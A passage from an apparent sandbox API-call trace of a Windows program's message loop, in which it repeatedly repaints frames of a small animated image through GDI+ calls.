0x0 [0164.019] GetSystemMetrics (nIndex=42) returned 0 [0164.019] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0164.020] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0164.020] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0164.020] CoTaskMemFree (pv=0x1e91eca0) [0164.020] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0164.020] GdipCreateRegion (region=0x15d710) returned 0x0 [0164.020] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0164.020] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0164.020] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0164.020] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0164.020] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0164.020] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0164.021] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0164.021] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0164.021] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0164.021] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0164.021] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0164.022] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0164.022] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0164.022] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0164.022] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0164.022] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0164.022] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0164.022] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0164.022] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0164.022] GetCurrentObject (hdc=0x1d010ba6, type=0x1) returned 0x1b00017 [0164.022] GetCurrentObject (hdc=0x1d010ba6, type=0x2) returned 0x1900010 [0164.023] GetCurrentObject (hdc=0x1d010ba6, type=0x7) returned 0x1a05067e [0164.023] GetCurrentObject (hdc=0x1d010ba6, type=0x6) returned 0x18a002e [0164.023] SaveDC (hdc=0x1d010ba6) returned 1 [0164.023] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x2c0407c3 [0164.023] GetClipRgn (hdc=0x1d010ba6, hrgn=0x2c0407c3) returned 0 [0164.023] SelectClipRgn (hdc=0x1d010ba6, hrgn=0xfffffffffc040b8a) returned 2 [0164.023] DeleteObject (ho=0x2c0407c3) returned 1 [0164.023] DeleteObject (ho=0xfffffffffc040b8a) returned 1 [0164.023] OffsetViewportOrgEx (in: hdc=0x1d010ba6, x=0, y=0, lppt=0x2729ef0 | out: lppt=0x2729ef0) returned 1 [0164.023] GetNearestColor (hdc=0x1d010ba6, color=0xffffff) returned 0xffffff [0164.023] CreateSolidBrush (color=0xffffff) returned 0x4100190 [0164.024] FillRect (hDC=0x1d010ba6, lprc=0x15d7c0, hbr=0x4100190) returned 1 [0164.024] DeleteObject (ho=0x4100190) returned 1 [0164.024] RestoreDC (hdc=0x1d010ba6, nSavedDC=-1) returned 1 [0164.024] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0164.024] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x1d010ba6) returned 0x0 [0164.024] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbde0dbd) returned 0x0 [0164.024] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0164.024] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0164.024] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0164.024] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0164.024] GetSystemMetrics (nIndex=42) returned 0 [0164.025] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0164.025] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0164.025] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0164.025] CoTaskMemFree (pv=0x1e91eca0) [0164.025] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0164.025] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0164.025] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0164.025] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0164.025] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0x1d010ba6, x1=0, y1=0, rop=0xcc0020) returned 1 [0164.025] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0164.026] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x1d010ba6) returned 0x0 [0164.026] SelectObject (hdc=0x1d010ba6, h=0x185000f) returned 0x1a05067e [0164.026] DeleteDC (hdc=0x1d010ba6) returned 1 [0164.026] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0164.026] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0164.026] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0164.026] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0164.026] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0164.026] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0164.026] WaitMessage () returned 1 [0164.163] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0164.163] IsWindowUnicode (hWnd=0x2031e) returned 1 [0164.163] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0164.163] TranslateMessage (lpMsg=0x15e910) returned 0 [0164.163] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0164.163] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0164.163] GetCurrentThreadId () returned 0xec0 [0164.163] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0164.163] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0164.163] IsWindowUnicode (hWnd=0x2031e) returned 1 [0164.163] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0164.163] TranslateMessage (lpMsg=0x15e910) returned 0 [0164.164] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0164.164] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0164.164] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0164.164] CreateCompatibleDC (hdc=0x2d010b73) returned 0x1e010ba6 [0164.164] SelectObject (hdc=0x1e010ba6, h=0x1a05067e) returned 0x185000f [0164.164] GdipCreateFromHDC (hdc=0x1e010ba6, graphics=0x15daf0) returned 0x0 [0164.164] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0164.164] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0164.165] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0164.165] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0164.165] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0164.165] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0164.165] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0164.166] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0164.166] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0164.166] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0164.166] GdipCreateRegion (region=0x15dc20) returned 0x0 [0164.166] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0164.166] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0164.166] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0164.166] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0164.166] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0164.166] GetSystemMetrics (nIndex=42) returned 0 [0164.166] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0164.166] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0164.166] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0164.167] CoTaskMemFree (pv=0x1e91eca0) [0164.167] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0164.167] GdipCreateRegion (region=0x15d710) returned 0x0 [0164.167] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0164.167] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0164.167] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0164.167] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0164.167] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0164.167] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0164.168] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0164.168] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0164.168] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0164.168] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0164.168] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0164.168] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0164.168] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0164.169] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0164.169] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0164.169] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0164.169] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0164.169] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0164.169] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0164.169] GetCurrentObject (hdc=0x1e010ba6, type=0x1) returned 0x1b00017 [0164.169] GetCurrentObject (hdc=0x1e010ba6, type=0x2) returned 0x1900010 [0164.169] GetCurrentObject (hdc=0x1e010ba6, type=0x7) returned 0x1a05067e [0164.169] GetCurrentObject (hdc=0x1e010ba6, type=0x6) returned 0x18a002e [0164.169] SaveDC (hdc=0x1e010ba6) returned 1 [0164.169] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xfffffffffd040b8a [0164.169] GetClipRgn (hdc=0x1e010ba6, hrgn=0xfffffffffd040b8a) returned 0 [0164.170] SelectClipRgn (hdc=0x1e010ba6, hrgn=0x2d0407c3) returned 2 [0164.170] DeleteObject (ho=0xfffffffffd040b8a) returned 1 [0164.170] DeleteObject (ho=0x2d0407c3) returned 1 [0164.170] OffsetViewportOrgEx (in: hdc=0x1e010ba6, x=0, y=0, lppt=0x272a828 | out: lppt=0x272a828) returned 1 [0164.170] GetNearestColor (hdc=0x1e010ba6, color=0xffffff) returned 0xffffff [0164.170] CreateSolidBrush (color=0xffffff) returned 0x5100190 [0164.170] FillRect (hDC=0x1e010ba6, lprc=0x15d7c0, hbr=0x5100190) returned 1 [0164.170] DeleteObject (ho=0x5100190) returned 1 [0164.170] RestoreDC (hdc=0x1e010ba6, nSavedDC=-1) returned 1 [0164.170] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0164.171] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x1e010ba6) returned 0x0 [0164.171] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbdc0dbd) returned 0x0 [0164.171] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0164.171] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0164.171] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0164.171] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0164.171] GetSystemMetrics (nIndex=42) returned 0 [0164.171] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0164.171] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0164.171] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0164.171] CoTaskMemFree (pv=0x1e91eca0) [0164.171] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x1a) returned 0x0 [0164.173] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0164.173] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0164.173] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0164.174] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0164.174] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0x1e010ba6, x1=0, y1=0, rop=0xcc0020) returned 1 [0164.174] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0164.174] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x1e010ba6) returned 0x0 [0164.174] SelectObject (hdc=0x1e010ba6, h=0x185000f) returned 0x1a05067e [0164.174] DeleteDC (hdc=0x1e010ba6) returned 1 [0164.174] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0164.174] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0164.174] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0164.174] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0164.174] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0164.174] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0164.174] WaitMessage () returned 1 [0165.348] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0165.348] IsWindowUnicode (hWnd=0x2031e) returned 1 [0165.348] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0165.349] TranslateMessage (lpMsg=0x15e910) returned 0 [0165.349] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0165.349] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0165.349] GetCurrentThreadId () returned 0xec0 [0165.349] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0165.349] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0165.349] IsWindowUnicode (hWnd=0x2031e) returned 1 [0165.349] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0165.349] TranslateMessage (lpMsg=0x15e910) returned 0 [0165.349] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0165.349] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0165.349] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0165.350] CreateCompatibleDC (hdc=0x2d010b73) returned 0x1f010ba6 [0165.350] SelectObject (hdc=0x1f010ba6, h=0x1a05067e) returned 0x185000f [0165.350] GdipCreateFromHDC (hdc=0x1f010ba6, graphics=0x15daf0) returned 0x0 [0165.350] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0165.350] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0165.351] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0165.351] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0165.351] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0165.351] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0165.351] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0165.351] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0165.352] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0165.352] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0165.352] GdipCreateRegion (region=0x15dc20) returned 0x0 [0165.352] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0165.352] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0165.352] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0165.352] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0165.352] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0165.352] GetSystemMetrics (nIndex=42) returned 0 [0165.352] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0165.352] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0165.352] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0165.352] CoTaskMemFree (pv=0x1e91eca0) [0165.352] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0165.353] GdipCreateRegion (region=0x15d710) returned 0x0 [0165.353] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0165.353] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0165.353] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0165.353] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0165.353] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0165.353] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0165.354] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0165.354] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0165.358] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0165.358] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0165.358] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0165.359] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0165.359] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0165.359] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0165.359] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0165.359] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0165.359] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0165.359] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0165.359] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0165.359] GetCurrentObject (hdc=0x1f010ba6, type=0x1) returned 0x1b00017 [0165.359] GetCurrentObject (hdc=0x1f010ba6, type=0x2) returned 0x1900010 [0165.359] GetCurrentObject (hdc=0x1f010ba6, type=0x7) returned 0x1a05067e [0165.359] GetCurrentObject (hdc=0x1f010ba6, type=0x6) returned 0x18a002e [0165.360] SaveDC (hdc=0x1f010ba6) returned 1 [0165.360] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x2e0407c3 [0165.360] GetClipRgn (hdc=0x1f010ba6, hrgn=0x2e0407c3) returned 0 [0165.360] SelectClipRgn (hdc=0x1f010ba6, hrgn=0xfffffffffe040b8a) returned 2 [0165.360] DeleteObject (ho=0x2e0407c3) returned 1 [0165.360] DeleteObject (ho=0xfffffffffe040b8a) returned 1 [0165.360] OffsetViewportOrgEx (in: hdc=0x1f010ba6, x=0, y=0, lppt=0x272bb28 | out: lppt=0x272bb28) returned 1 [0165.360] GetNearestColor (hdc=0x1f010ba6, color=0xffffff) returned 0xffffff [0165.360] CreateSolidBrush (color=0xffffff) returned 0x6100190 [0165.360] FillRect (hDC=0x1f010ba6, lprc=0x15d7c0, hbr=0x6100190) returned 1 [0165.360] DeleteObject (ho=0x6100190) returned 1 [0165.361] RestoreDC (hdc=0x1f010ba6, nSavedDC=-1) returned 1 [0165.361] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0165.361] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x1f010ba6) returned 0x0 [0165.361] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbda0dbd) returned 0x0 [0165.361] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0165.361] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0165.361] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0165.361] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0165.361] GetSystemMetrics (nIndex=42) returned 0 [0165.361] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0165.361] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0165.361] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0165.361] CoTaskMemFree (pv=0x1e91eca0) [0165.361] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0165.362] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0165.362] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0165.362] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0165.362] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0x1f010ba6, x1=0, y1=0, rop=0xcc0020) returned 1 [0165.362] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0165.362] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x1f010ba6) returned 0x0 [0165.362] SelectObject (hdc=0x1f010ba6, h=0x185000f) returned 0x1a05067e [0165.362] DeleteDC (hdc=0x1f010ba6) returned 1 [0165.362] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0165.362] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0165.363] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0165.363] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0165.363] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0165.363] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0165.363] WaitMessage () returned 1 [0165.596] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0165.596] IsWindowUnicode (hWnd=0x2031e) returned 1 [0165.596] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0165.596] TranslateMessage (lpMsg=0x15e910) returned 0 [0165.596] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0165.596] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0165.596] GetCurrentThreadId () returned 0xec0 [0165.596] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0165.597] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0165.597] IsWindowUnicode (hWnd=0x2031e) returned 1 [0165.597] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0165.597] TranslateMessage (lpMsg=0x15e910) returned 0 [0165.597] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0165.597] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0165.597] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0165.597] CreateCompatibleDC (hdc=0x2d010b73) returned 0x20010ba6 [0165.598] SelectObject (hdc=0x20010ba6, h=0x1a05067e) returned 0x185000f [0165.598] GdipCreateFromHDC (hdc=0x20010ba6, graphics=0x15daf0) returned 0x0 [0165.598] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0165.598] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0165.598] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0165.598] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0165.598] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0165.598] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0165.598] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0165.599] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0165.599] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0165.599] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0165.599] GdipCreateRegion (region=0x15dc20) returned 0x0 [0165.599] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0165.599] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0165.600] 